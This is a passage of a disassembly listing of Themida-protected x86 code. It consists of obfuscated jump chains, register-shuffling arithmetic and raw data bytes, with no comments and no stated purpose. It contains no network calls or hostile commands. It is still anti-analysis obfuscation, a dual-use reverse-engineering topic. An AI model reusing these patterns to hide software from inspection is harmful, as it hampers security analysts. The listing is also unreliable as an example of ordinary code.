esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] jmp loc_55F12A ; --------------------------------------------------------------------------- dd 6668EC80h, 0E9731368h, 4712h, 4C481h, 0F2210000h, 0FFB040E9h dd 241489FFh, 0F788E688h, 6DE9585Ah, 0FFFFFFF9h, 3E92434h dd 890000B4h, 0A4E958C2h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557983: ; CODE XREF: Themida_:005541D8j lea eax, [edi+eax*4] push 0AB8h mov [esp], eax jmp loc_556AAD ; --------------------------------------------------------------------------- db 5Bh dd 4C381h, 0C3810000h, 4, 0E9241C87h, 9FBDh dword_5579A8 dd 240C8B66h, 0BBC5E957h, 2B2DFFFFh, 0E9676E6Ch, 0FFFFCFB3h ; DATA XREF: Themida_:0054FD10o dd 5675BF57h, 534F6030h, 0A24DF4BBh, 91EB812Fh, 1BC0E0Fh dd 2269E9DFh, 0BD550000h, 2FD93762h, 0C15DE931h, 0F18102E9h dd 3192A933h, 34FFCD89h, 8E7DE924h, 48FFFFFh, 0C3815C24h dd 4, 687368h, 24348900h, 7D94E9h, 0E99BB000h, 0FFFFBFE3h ; --------------------------------------------------------------------------- loc_557A10: ; CODE XREF: Themida_:00553F04j pop esi push edi push 26C8h mov [esp], ecx mov ecx, 0CF63F87h add ecx, 225525A9h jmp loc_55A93B ; --------------------------------------------------------------------------- loc_557A2A: ; CODE XREF: Themida_:0055AA40j sub esp, 4 mov [esp], ebp push edx push 7CED51F9h pop edx shr edx, 2 sub edx, 0CD9A11BDh mov ebp, edx mov edx, [esp] add esp, 4 push edi mov edi, 0AE5EBD43h add ebp, 3F554B6Fh add ebp, edi sub ebp, 3F554B6Fh pop edi jmp loc_560ED7 ; --------------------------------------------------------------------------- loc_557A65: ; CODE XREF: Themida_:0055177Bj xor esi, 571223E3h mov eax, esi jmp loc_55A1C5 ; --------------------------------------------------------------------------- dw 8956h dd 4BF57E6h, 1000000h, 0BD555FFEh, 2, 875DEE29h, 665C2434h dd 0E9241489h, 0FFFFB3BCh, 0B652E328h, 5AF32871h, 80AFEB80h dd 5AE955EBh db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557AA7: ; CODE XREF: Themida_:005595ADj not ebp dec ebp xor ebp, 2B1D23h push eax mov eax, 21557AA3h sub eax, 72ABAFC3h xor ebp, eax jmp loc_55B4BD ; --------------------------------------------------------------------------- loc_557AC2: ; CODE XREF: Themida_:0055747Bj mov esp, [esp] jmp loc_563379 ; --------------------------------------------------------------------------- loc_557ACA: ; CODE XREF: Themida_:00563E7Fj push eax mov eax, 4 sub edi, eax jmp loc_551B2F ; --------------------------------------------------------------------------- loc_557AD7: ; CODE XREF: Themida_:00552EEDj push 7A50h mov [esp], ecx mov ecx, 686F3AD0h shr ecx, 8 jmp loc_56056F ; --------------------------------------------------------------------------- loc_557AEC: ; CODE XREF: Themida_:0056288Dj add eax, 4 jmp loc_558001 ; --------------------------------------------------------------------------- dw 0C781h dd 8410E44Eh, 505FFB01h, 0A16BE56h, 0ACE96571h db 4Fh, 2 dup(0) byte_557B0B db 0FFh ; DATA XREF: Themida_:0054FD08o dd 0DAE92434h, 5CFFFFE9h, 89243489h, 4EC81E6h, 89000000h dd 0DBBF243Ch, 0C179C50Eh, 0BB5305E7h, 671434C2h, 1005F381h dd 0E3C17048h, 7DE38107h, 0E913764Ah, 3395h ; --------------------------------------------------------------------------- loc_557B44: ; CODE XREF: Themida_:00560A85j mov dh, 21h mov bl, dh jmp loc_55E5B5 ; --------------------------------------------------------------------------- db 0E9h, 0C5h, 83h dd 0E954FFFFh, 0FFFFE9BAh, 0EB42C181h, 0C801B6F2h, 4EC8359h dd 0B9240C89h, 2, 0F8E9C801h, 0BA000093h, 1D66CAAh, 8245429h dd 27BDE9h, 24043100h, 0E9240433h, 0FFFFA3DAh ; --------------------------------------------------------------------------- loc_557B8C: ; CODE XREF: Themida_:00559A7Ej add edx, 1ECC3773h mov [edx], bh pop edx pop ecx jmp loc_56248F ; --------------------------------------------------------------------------- a0uxsqb db '[0ãX韡',0 align 4 loc_557BA4: ; CODE XREF: Themida_:0055B3B6j sub ecx, 22F94614h sub ecx, edx add ecx, 22F94614h pop edx add edi, ecx push dword ptr [esp] pop ecx add esp, 4 inc edi jmp loc_5506E0 ; --------------------------------------------------------------------------- loc_557BC2: ; CODE XREF: Themida_:00554DB5j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], edx push edi push 0E346929h pop edi xor edi, 0E346901h mov edx, edi jmp loc_55901F ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0D49h ; --------------------------------------------------------------------------- loc_557BF0: ; CODE XREF: Themida_:0055EEEFj add edi, edx sub edi, 51C72630h pop edx push esi mov esi, 4 add edi, 212D4B23h add edi, esi jmp loc_557469 ; --------------------------------------------------------------------------- dword_557C0C dd 9D1C77FFh, 24041958h, 82FDE99Ch, 248BFFFFh, 2434FF24h ; DATA XREF: Themida_:0054FE28o dd 183DE958h db 2 dup(0) word_557C26 dw 0E9ACh ; DATA XREF: Themida_:0054FCBCo dd 0B1F9h, 5C240C33h, 0FFA743E9h, 5FFA89FFh, 312DEE81h dd 0D6010D1Dh, 312DC681h, 148B0D1Dh, 0B465E924h, 8348FFFFh dd 3C8904ECh, 0E26ABF24h, 0F8011066h, 81243C8Bh, 4C4h dd 0FF5E5000h, 51582434h, 0C181E189h, 4, 4C181h, 0C870000h dd 6C815C24h, 27D30424h, 740144F9h, 44810424h, 27D30424h dd 0FAE944F9h, 8BFFFFEBh, 0C481240Ch, 4, 34FFDA28h, 0C4815B24h dd 4, 81E68956h, 4C6h, 4BF5700h, 0E9000000h, 9C0Ah, 0C5E9E389h dd 89000080h, 0E6892434h, 7DC168h, 242C8900h, 0AA3CB268h dd 0E9455D05h, 0FFFFC899h, 0AE34E957h, 2CE90000h, 68FFFF82h dd 5F17h, 0BE243489h, 551C675Ch, 17D194BBh, 0E9F30113h dd 0FFFFCDB6h, 0D893E95Dh, 0CDFEFFFFh, 66EE8852h, 0F6F78853h dd 66FE88D7h, 0E9F5885Bh, 94BFh ; --------------------------------------------------------------------------- loc_557D20: ; CODE XREF: Themida_:005511C6j pop ebx jmp loc_563CBB ; --------------------------------------------------------------------------- loc_557D26: ; CODE XREF: Themida_:0056238Fj add ebx, 4 jmp loc_5500B4 ; --------------------------------------------------------------------------- db 0B8h, 0C0h, 62h dd 9055834h, 0E9E54801h, 0A1BBh, 0E952C388h, 0D729h, 0E9C20159h dd 847h, 0D33040B3h, 4EC835Ah, 88240489h, 58C288D8h, 241C8B66h dd 431EE9h, 4C28100h, 33000000h, 0C9E92414h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_557D77: ; CODE XREF: Themida_:005620D5j xchg ebp, [esp] pop esp push ebx push dword ptr [esp+4] mov ebx, [esp] push edi jmp loc_55E9DC ; --------------------------------------------------------------------------- loc_557D89: ; CODE XREF: Themida_:005630C2j add eax, ecx pop ecx add eax, 4 xchg eax, [esp] pop esp mov ecx, edx pop edx mov ebp, [esp] add esp, 4 jmp loc_552E5D ; --------------------------------------------------------------------------- db 81h, 6Ch, 24h dd 94B5C04h, 2444811Bh, 0D66CAA04h, 60E95F01h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557DB7: ; CODE XREF: Themida_:0055140Fj xchg ebp, [esp] pop esp push 5C48h mov [esp], edi push edx mov edx, 1B9512AAh inc edx jmp loc_563057 ; --------------------------------------------------------------------------- db 31h dd 3C33243Ch, 24248B24h, 9C242CD3h, 0FF8136E9h, 0EB815BFFh dd 70C53FA0h, 79E2EB81h, 7EE9766Fh db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557DF3: ; CODE XREF: Themida_:00550987j add dword ptr [esp], 4 jmp loc_5577E1 ; --------------------------------------------------------------------------- loc_557DFC: ; CODE XREF: Themida_:0055FF91j mov ebp, 75B42C79h mov ebx, 8AD9439Bh add ebx, ebp pop ebp or ecx, ebx pop ebx shr ecx, 1 jmp loc_553645 ; --------------------------------------------------------------------------- db 2Ch dd 0FEC88641h, 0E9C886C9h, 0FFFFCF47h, 0C15DEA31h, 0A8E903E2h dd 81000054h, 683D01EBh, 81FB0177h, 683D01C3h, 0C3815F77h dd 4, 5C241C87h, 5324048Bh, 0C381E389h, 4, 4C381h, 1C870000h dd 0CF685C24h, 8900004Fh, 0EE882414h, 88F58851h, 8B59872Ch dd 0C4812414h, 4, 809DE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E7A: ; CODE XREF: Themida_:00555A10j push dword ptr [esp] pop ebx push ebp push esp pop ebp push edx mov edx, 4 add ebp, 51DE6F6Fh sub ebp, 685C2A0Ah add ebp, edx jmp loc_551786 ; --------------------------------------------------------------------------- loc_557E9A: ; CODE XREF: Themida_:0055561Aj add ecx, 2 jmp loc_55E9B6 ; --------------------------------------------------------------------------- db 81h, 0F3h, 0ADh dd 8963EB22h, 0FEE95BDFh, 52FFFF97h, 4770BF57h, 9683D3Ch dd 89000015h, 0BD55243Ch, 2F9F4211h, 4246C01h, 0EA815A5Dh dd 2F9F4211h, 8EE2815Fh, 0E97CBC78h, 1A80h, 592434FFh dd 4C481h, 0C7810000h, 594B3B42h, 0EF81EF01h, 594B3B42h dd 0FFF948E9h, 241C89FFh, 5A1B68h, 24348900h, 0B850E689h dd 40202E3h, 7486E9h, 5AF02800h, 2C0CB353h, 4D828ADh, 0D0005BADh dd 35040C04h, 83D8005Ah, 148904ECh, 808AB624h, 33E98DE6h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557F3B: ; CODE XREF: Themida_:0055F3D7j or esi, ecx mov ecx, [esp] push 32BBh mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shl esi, 1 shl esi, 3 push edx mov edx, 9775FBB0h add esi, 5A3C0816h jmp loc_551B84 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0BFh dd 0E9598132h, 520Fh, 15ED815Fh, 316F8D0Eh, 0C6815DE9h dd 6C48272Bh, 668CE01h, 89000029h, 0C3E92414h, 5300002Fh dd 0B4F3E9h db 0 ; --------------------------------------------------------------------------- loc_557F9D: ; CODE XREF: Themida_:00563131j add ebx, eax add ebx, 79453E8Dh pop eax jmp loc_5572AD ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4EE8300h, 0FFC654E9h, 241489FFh, 632FE9h, 0ECEE8100h dd 1031B5Dh, 0BE565EF2h, 4, 0CAD8E9h, 24248B00h, 24043166h dd 7F35E99Ch, 0D1F7FFFFh, 6958E981h, 0E1C12E98h, 2AF18102h dd 57221CDEh, 0C781E789h, 4, 52FFE9h db 0 ; --------------------------------------------------------------------------- loc_558001: ; CODE XREF: Themida_:00557AF1j sub eax, 4 xchg eax, [esp] jmp loc_555089 ; --------------------------------------------------------------------------- aPAAs db 'P¸Äa>aé*:',0 dd 48B6600h, 0E6895624h, 4C681h, 0C6810000h, 2, 5C243487h dd 244C0166h, 72686602h, 0A65CE93Eh, 2EBBFFFFh, 2135D756h dd 0D0F75BD8h, 0BF4DC22Dh, 4C38192h, 297F740Bh, 4EB81C3h dd 587F740Bh, 0FFD746E9h db 0FFh ; --------------------------------------------------------------------------- loc_558061: ; CODE XREF: Themida_:005560C3j mov edx, 655011BAh or ebx, edx pop edx xor ebx, 735B0A9Dh sub ebx, 59D0E88h dec ebx sub ebx, 8E30B230h sub edi, ebx jmp loc_554E46 ; --------------------------------------------------------------------------- db 29h dd 0CD30E9F1h, 0A768FFFFh, 89000030h, 0FE9242Ch, 87FFFFC3h dd 0E95C243Ch, 4ED1h, 0E9243489h, 1D4h ; --------------------------------------------------------------------------- loc_5580A8: ; CODE XREF: Themida_:00553A50j add eax, 75EA5E1Fh xor eax, 83D85E11h push edx jmp loc_553E26 ; --------------------------------------------------------------------------- dd 0F589FE89h, 0FF8BC4E9h, 814359FFh, 0F51E00E3h, 4C38120h dd 89FFF000h, 0C9E95BDAh, 0B9000084h, 1E0E3BAEh, 0FF908EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5580E1: ; CODE XREF: Themida_:00557373j mov ebx, esi jmp loc_558FE1 ; --------------------------------------------------------------------------- dd 0ED240481h, 29167F66h, 2C812404h, 7F66ED24h, 59D56816h dd 14890000h, 55B7BA24h, 0E2C119D7h, 51F96803h, 34890000h dd 0A4E3E924h, 0D5890000h, 246C815Ah, 0A330B004h, 246C014Ch dd 0B0BF5704h, 14CA330h, 0E908247Ch, 0FFFF93D5h aNh0_0 db 'hÔ0',0 ; DATA XREF: Themida_:0054FC4Co align 2 dw 3C89h dd 5383BF24h, 1E680D37h, 89000041h, 0C7BE2434h, 293F3F52h dd 56555EF0h, 5C55DBBEh, 5EF58952h, 0C21AE94Dh, 1C330000h dd 50535C24h, 0FFE99CE9h, 0DBF181FFh, 0E90C2E74h, 5CAAh ; --------------------------------------------------------------------------- loc_558178: ; CODE XREF: Themida_:00553CADj neg eax sub eax, 4D63112Ah push ecx mov ecx, 38636199h and ecx, 3E2E6BAFh shl ecx, 7 xor ecx, 46077F2Eh sub ecx, 738E6E9Ch xor eax, ecx pop ecx jmp loc_557861 ; --------------------------------------------------------------------------- aYvhna db 'YVha',0 dd 241C8900h, 0CC050EBBh, 0D0F3812Bh, 5740065Fh, 0FFFFFF68h dd 0FB015FFFh, 0A524E9h db 0 ; --------------------------------------------------------------------------- loc_5581C5: ; CODE XREF: Themida_:0055BB5Aj pop eax push 7DA9h mov [esp], ebp push esp jmp loc_55BA72 ; --------------------------------------------------------------------------- dd 0E924048Fh, 0A703h, 652C2A35h, 8BC22923h, 0C4812404h dd 4, 0FF9DA5E9h db 0FFh byte_5581F1 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0054FD24o dd 1058669Dh, 0E99C2404h, 0FFFF7D17h, 0E9240C89h, 6B3Fh ; --------------------------------------------------------------------------- loc_558208: ; CODE XREF: Themida_:0055C791j xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_55B6BA ; --------------------------------------------------------------------------- dw 0EA89h dd 56242C8Bh, 0C6815E54h, 4, 4C681h, 34870000h, 0DAF75C24h dd 65B8504Ah, 974050Ah, 0D2F758C2h, 1910C281h, 0D1E9568Eh dd 3300000Ah, 36E92434h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55824F: ; CODE XREF: Themida_:00565082j mov [esp], ecx mov ecx, 62DAF1B6h sub edx, ecx pop ecx sub ecx, edx mov edx, [esp] add esp, 4 add ebp, ecx pop ecx jmp loc_553FB6 ; --------------------------------------------------------------------------- db 57h, 0BFh, 83h dd 0D120E324h, 0E9D7F7EFh, 8139h, 2BEh, 5EF72900h, 554068h dd 240C8900h, 0C181E189h, 4, 8F87E9h db 0 ; --------------------------------------------------------------------------- loc_558299: ; CODE XREF: Themida_:0055750Dj add eax, 267809E2h mov ecx, eax mov eax, [esp] add esp, 4 mov eax, ecx pop ecx mov ebp, 25F609DFh jmp loc_5654BD ; --------------------------------------------------------------------------- loc_5582B6: ; CODE XREF: Themida_:00550B7Cj mov [esp], edx mov edx, esp push ecx push 3D116463h pop ecx or ecx, 36082E7Ah dec ecx shl ecx, 3 push esi mov esi, 0F8CB73CCh add ecx, 0A7E5EDDh sub ecx, esi sub ecx, 0A7E5EDDh pop esi add edx, ecx jmp loc_55C645 ; --------------------------------------------------------------------------- dword_5582E8 dd 24048B66h, 27666857h, 0B6680000h, 8900000Eh, 4812424h ; DATA XREF: Themida_:0054FCE8o dd 424h, 24048F00h, 4240483h, 52243C8Bh, 0C281E289h, 4 dd 3304C283h, 14312414h, 24143324h, 0BD55535Ch, 5CE839EFh dd 60AA70BBh, 0CAC1E9AAh db 2 dup(0FFh) word_558332 dw 77FFh ; DATA XREF: Themida_:0054FECCo dd 11589D1Ch, 0E99C2404h, 0FFFF7BD7h, 4FA4E581h, 0B8504D30h dd 1A4E156Eh, 0F7D0F748h, 40D0F7D8h, 5304E8C1h, 0FFD52FE9h dd 0B8EB80FFh, 0FFC0B60Fh, 34FF8734h, 24048B24h, 81E28952h dd 4C2h, 4C28300h, 31241433h, 2E92414h, 89000057h, 4C381E3h dd 55000000h, 0B960E9h db 0 ; --------------------------------------------------------------------------- loc_558391: ; CODE XREF: Themida_:0055C85Aj push 651B558Bh jmp loc_55B8DD ; --------------------------------------------------------------------------- loc_55839B: ; CODE XREF: Themida_:0055F62Dj push ebx mov ebx, esp push ecx mov ecx, 261363A7h xor ecx, 3E3C0F23h jmp loc_55EDB3 ; --------------------------------------------------------------------------- db 66h dd 81241C8Bh, 2C4h, 2EC8300h, 0FFB0D9E9h, 4C181FFh, 0E9000000h dd 0FFFFB6BDh, 66E2ED81h, 0FD0104E9h, 66E2C581h, 3C8B04E9h dd 4C48324h, 2C581h, 0CE90000h, 33000062h, 0F6E9243Ch dd 58FFFFB7h, 3503E8C1h, 444D38CFh, 0BF58C689h, 0AD0E3382h dd 15EF729h, 0DE015FFEh, 22ABEE81h, 525B67C9h, 9C4437BAh dd 0E9D62918h, 0FFFFEC59h, 0A7BE5655h, 8138E40Eh, 364B9CCEh dd 32C68135h, 4E58102Ch, 69C9EE81h, 0E9521E27h, 733Ah dd 33241431h, 525C2414h, 206C68h, 243C8900h, 0F01B5DBFh dd 0CEF7E950h, 26BAFFFFh, 8921DB26h, 0E9895AD5h, 0CFF515Dh dd 2414F724h, 90E95159h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558473: ; CODE XREF: Themida_:00555C70j mov [esp], eax mov eax, 2926F78h sub eax, 0D9834B77h add ecx, 7FB00BADh add ecx, eax sub ecx, 7FB00BADh pop eax sub ecx, esi push edx mov edx, 159C5381h jmp loc_5620AC ; --------------------------------------------------------------------------- loc_55849C: ; CODE XREF: Themida_:005553AEj xchg eax, [esp] mov esp, [esp] loc_5584A2: ; CODE XREF: Themida_:00551B92j push 6827h mov [esp], edx push eax push ebx jmp loc_556D19 ; --------------------------------------------------------------------------- loc_5584B1: ; CODE XREF: Themida_:0055548Fj mov eax, edx mov esi, eax push dword ptr [esp] pop eax add esp, 4 mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5529EA ; --------------------------------------------------------------------------- db 81h dd 5B0D99C1h, 0E9CF010Ch, 733Ah dword_5584E0 dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF7A27h, 4EB75366h ; DATA XREF: Themida_:0054FD78o dd 0FFCD8DE9h, 42C681FFh, 4E372B10h, 0E681D6F7h, 24DE2D15h dd 2FDBF57h, 0EFC17509h, 0F7814703h, 2645549Bh, 88C7814Fh dd 81266E34h, 0F4C27CC7h, 0BDCAE9FDh, 0C1810000h, 175F580Bh dd 159CA89h, 5A082454h, 4246C81h, 5CF45C97h, 79D1E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558546: ; CODE XREF: Themida_:00550645j ; Themida_:loc_551E45j ... push dword ptr [edi+24h] push edx mov edx, 3239136Ch add [esp+4], edx pop edx push dword ptr [esp] pop ecx jmp loc_5645E4 ; --------------------------------------------------------------------------- db 4, 0A7h, 0E9h dd 308Dh ; --------------------------------------------------------------------------- loc_558564: ; CODE XREF: Themida_:00560B28j pop dword ptr [edi+20h] add dword ptr [edi+20h], 23801BF5h jmp loc_5558D0 ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 4EC8304h, 0FF243C89h, 5F042474h, 8B24048Fh dd 34892424h, 2474FF24h, 27E95E04h, 58FFFF8Dh, 0EBAE9h dd 34FF5900h, 0C4815924h, 4, 4BB53h, 0C1810000h, 9E02F7h dd 0ACE9D901h db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5585BB: ; CODE XREF: Themida_:0055B5E1j push ebx jmp loc_55252D ; --------------------------------------------------------------------------- aWDbs db 'W¿Ñ*¤béÜ]',0 align 4 dd 0C581DDF7h, 0F247FD26h, 565DEE29h, 0B919E9h, 5AD70100h dd 8704C783h, 0D6E9243Ch db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5585EB: ; CODE XREF: Themida_:00553F97j and eax, ebx jmp loc_55198C ; --------------------------------------------------------------------------- dw 0C380h dd 31C38028h, 80F8C380h, 0DA88BDEBh, 0E9CAFE5Bh, 0BC07h dd 2A6CA205h, 0E9535100h, 3C95h, 5358C389h, 0FE242C81h dd 5E785A3Fh, 3FFEC681h, 34FF785Ah, 0C4835B24h, 2434FF04h dd 4C4815Dh, 81000000h, 5E0BE9CEh, 0F871E96Ah, 885BFFFFh dd 42E958E7h, 50000024h, 405E089h, 0E9000000h, 0FFFFDEFCh dd 4C481h, 0D0010000h, 0E924148Bh, 844Fh ; --------------------------------------------------------------------------- loc_558668: ; CODE XREF: Themida_:0055F16Aj pop esi jmp loc_55AB2B ; --------------------------------------------------------------------------- dw 56BBh dd 81434337h, 0FD65B0F3h, 81DBF76Ah, 41AD1EF3h, 0E9D901D6h dd 0FFFF7BE9h, 4BE5645h, 1A36A98h, 0EE815EF5h, 0F6206C5h dd 7345C681h, 0EE016861h, 7345EE81h, 0C6816861h, 0F6206C5h dd 0FF9941E9h, 58E730FFh, 34FFF828h, 241C8B24h, 5704C483h dd 0C781E789h, 4, 4C781h, 3C330000h, 243C3124h, 8B243C33h dd 52662424h, 88E9BCB6h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5586E3: ; CODE XREF: Themida_:0055A90Ej xchg eax, [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push ebp jmp loc_5648B9 ; --------------------------------------------------------------------------- dw 0F281h dd 32E140FBh, 2ACDF281h, 0DAF72E77h, 7C6C281h, 4AE98E3Dh db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558717: ; CODE XREF: Themida_:00561960j sub eax, esi pop esi mov esi, [esp] add esp, 4 jmp loc_560B7E ; --------------------------------------------------------------------------- db 50h, 0B8h, 2 dd 1000000h, 0D7CBE9C3h, 0EEC1FFFFh, 6DCE8106h, 817C7307h dd 88498AC6h, 0A7F68144h, 29EC73BAh, 24348BF7h, 0E904C483h dd 0FFFFC3F8h, 0ADC58166h, 0DD296636h, 0ADED8166h, 2434FF36h dd 7523E9h, 24248B00h, 7CF6E9h, 4EC8100h, 89000000h, 0E956241Ch dd 928Ch ; --------------------------------------------------------------------------- loc_558780: ; CODE XREF: Themida_:00564B80j pop edx jmp loc_559B24 ; --------------------------------------------------------------------------- dw 0FD09h dd 4EC835Fh, 0B9240C89h, 5E037525h, 0F703E9C1h, 6E9C1D9h dd 11A6BB53h, 0D93177F0h, 8BCD315Bh, 0C483240Ch, 5EF52904h dd 0FFA61DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5587B5: ; CODE XREF: Themida_:00562E50j mov esi, edx jmp loc_557372 ; --------------------------------------------------------------------------- dword_5587BC dd 24048B66h, 0C164E953h, 4BBFFFFh, 29000000h, 2DC3E9D9h ; DATA XREF: Themida_:0054FE1Co db 2 dup(0) ; --------------------------------------------------------------------------- loc_5587D2: ; CODE XREF: Themida_:0055BC11j add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_551C4D ; --------------------------------------------------------------------------- aISb db '‰,$é³',0 db 0 ; --------------------------------------------------------------------------- loc_5587EB: ; CODE XREF: Themida_:00565236j push ebx mov ebx, 4 add [esp+4], ebx pop ebx jmp loc_551DEE ; --------------------------------------------------------------------------- db 0BEh dd 3B6C1CAFh, 0FFB393E9h, 0FA685AFFh, 89000026h, 74FF240Ch dd 34FF0424h, 54575924h, 72B9515Fh, 0E976980Ah, 0B710h dd 6042ED81h, 98E917EAh, 0CCh, 2EC81D8h, 66000000h, 0B6241489h dd 66F00034h, 4EC815Ah, 89000000h, 0EC832414h, 240C8904h dd 4DF4E9h db 0 off_558855 dd offset dword_457444+8224h ; DATA XREF: Themida_:0054FC74o align 2 dw 0C89h dd 4EC8124h, 89000000h, 9ABF243Ch, 0B937EB68h, 42DFCBBBh dd 49E6E9h db 0 ; --------------------------------------------------------------------------- loc_558875: ; CODE XREF: Themida_:00563399j pop esi xor [esp], esi xor esi, [esp] xor [esp], esi push dword ptr [esp] jmp loc_553C65 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 0E563E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558896: ; CODE XREF: Themida_:0055981Bj sub edx, eax pop eax xchg edx, [esp] mov esp, [esp] mov [esp], ecx push eax mov eax, 4D8902BAh and eax, 53361BDCh shr eax, 7 dec eax push ebp push 0 pop ebp sub ebp, eax jmp loc_558A5A ; --------------------------------------------------------------------------- db 0BEh dd 461571A4h, 0B00BD55h, 0E5C1183Eh, 55C58106h, 21048760h dd 242C8BEEh, 4C481h, 0F6810000h, 321E1E74h, 348B5956h dd 4C48124h, 50000000h, 0E27D05B8h, 0E9C1214Ah, 8C86h ; --------------------------------------------------------------------------- loc_5588FC: ; CODE XREF: Themida_:0056203Dj mov edx, 23648A9h dec edx xor edx, 0B914222h not edx push 0 sub [esp], edx mov edx, [esp] jmp loc_55B52F ; --------------------------------------------------------------------------- dw 0FB68h dd 89000067h, 83512414h, 48904ECh, 801E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55892E: ; CODE XREF: Themida_:0055FC08j and eax, edi push dword ptr [esp] pop edi jmp loc_558DC5 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0B6F7E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558942: ; CODE XREF: Themida_:005566ABj mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_552A40 ; --------------------------------------------------------------------------- byte_558955 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FD50o dd 0FFA6D5E9h, 0E0BD55FFh, 0E95CCF24h, 1689h, 0F777EF81h dd 0C38123EAh, 70480CA7h, 6240BA52h, 0DAF76663h, 702F281h dd 0EA8112F3h, 6C2663F1h, 0DAF7E2D1h, 283E9h, 0E9E95F00h db 0C8h, 2 dup(0FFh) byte_558997 db 68h ; DATA XREF: Themida_:0054FDDCo dd 226Dh, 68241489h, 40A365E6h, 0E6F2815Ah, 8340A365h dd 148904ECh, 0C2E95024h, 1000036h, 5E042474h, 5624048Fh dd 468h, 24348B00h, 8104C483h, 0DB042444h, 814C2141h, 83042444h dd 109680Bh, 81042474h, 8304246Ch, 8109680Bh, 0DB04246Ch dd 5E4C2141h, 0FF2434FFh, 92E92434h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5589FB: ; CODE XREF: Themida_:00558D87j push edx jmp loc_557739 ; --------------------------------------------------------------------------- db 68h, 5Fh, 16h dd 75E90000h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_558A0B: ; CODE XREF: Themida_:005567DFj add ecx, 4 add ecx, 4 push ecx jmp loc_561FEE ; --------------------------------------------------------------------------- db 0B7h, 47h, 80h dd 0C7805EF7h, 5BFE88CBh, 5ED80h, 5C580F5h, 0FFE8005Ah dd 0E9592434h, 6B3Dh, 0EB2542BEh, 42CEE901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558A46: ; CODE XREF: Themida_:005636EEj sub esp, 4 mov [esp], eax mov eax, 747B18DEh push edi jmp loc_550E25 ; --------------------------------------------------------------------------- loc_558A5A: ; CODE XREF: Themida_:005588BAj push 79CEh mov [esp], ebp jmp loc_55750A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24348700h, 0FFE9505Ch, 89FFFF84h, 5D54242Ch, 70E4E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558A82: ; CODE XREF: Themida_:00556B1Cj mov ecx, esp jmp loc_5559F5 ; --------------------------------------------------------------------------- aLS db '‹$$é',0Dh,0Ah,0 dd 81DDF700h, 1D22F1E5h, 42C5E948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558A9E: ; CODE XREF: Themida_:00557262j xchg esi, [esp] mov ebp, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, esp push edi mov edi, 79FE29B9h add edi, 8601D64Bh jmp loc_554A34 ; --------------------------------------------------------------------------- loc_558ACB: ; CODE XREF: Themida_:00555E78j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_564455 ; --------------------------------------------------------------------------- loc_558AE1: ; CODE XREF: Themida_:00551BCAj mov [esp], ebx jmp loc_5595A7 ; --------------------------------------------------------------------------- byte_558AE9 db 55h, 56h, 0BEh ; DATA XREF: Themida_:0054FE04o dd 441D79EAh, 43861E68h, 0C5815D51h, 15B65842h, 0ED81F529h dd 15B65842h, 0BD55565Eh, 68542190h, 0CDA8E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558B12: ; CODE XREF: Themida_:0055DF46j mov esi, [esp] add esp, 4 jmp loc_55C829 ; --------------------------------------------------------------------------- dd 10558h, 0B70D0000h, 5720D702h, 7CBA4BFh, 7412DCCh, 0F82976BCh dd 0BC074105h, 0C5895F76h, 8BEB2958h, 0C483242Ch, 0CBC38104h dd 12BCF62h, 0CBEB81C3h, 552BCF62h, 0EA7D96BDh, 0D004E958h dd 0F181FFFFh, 8852DC4Eh, 0BA0D78BEh, 2E6C15Eh, 0EEC1D6F7h dd 0DEF68105h, 31583E19h, 0EC8159CEh, 4, 0FFABB7E9h db 0FFh ; --------------------------------------------------------------------------- loc_558B89: ; CODE XREF: Themida_:00564A8Ej push esi push eax push esi mov esi, 146860BEh mov eax, esi pop esi jmp loc_559A51 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B8240489h, 5B4623FEh, 0E45AA235h, 73BD5502h, 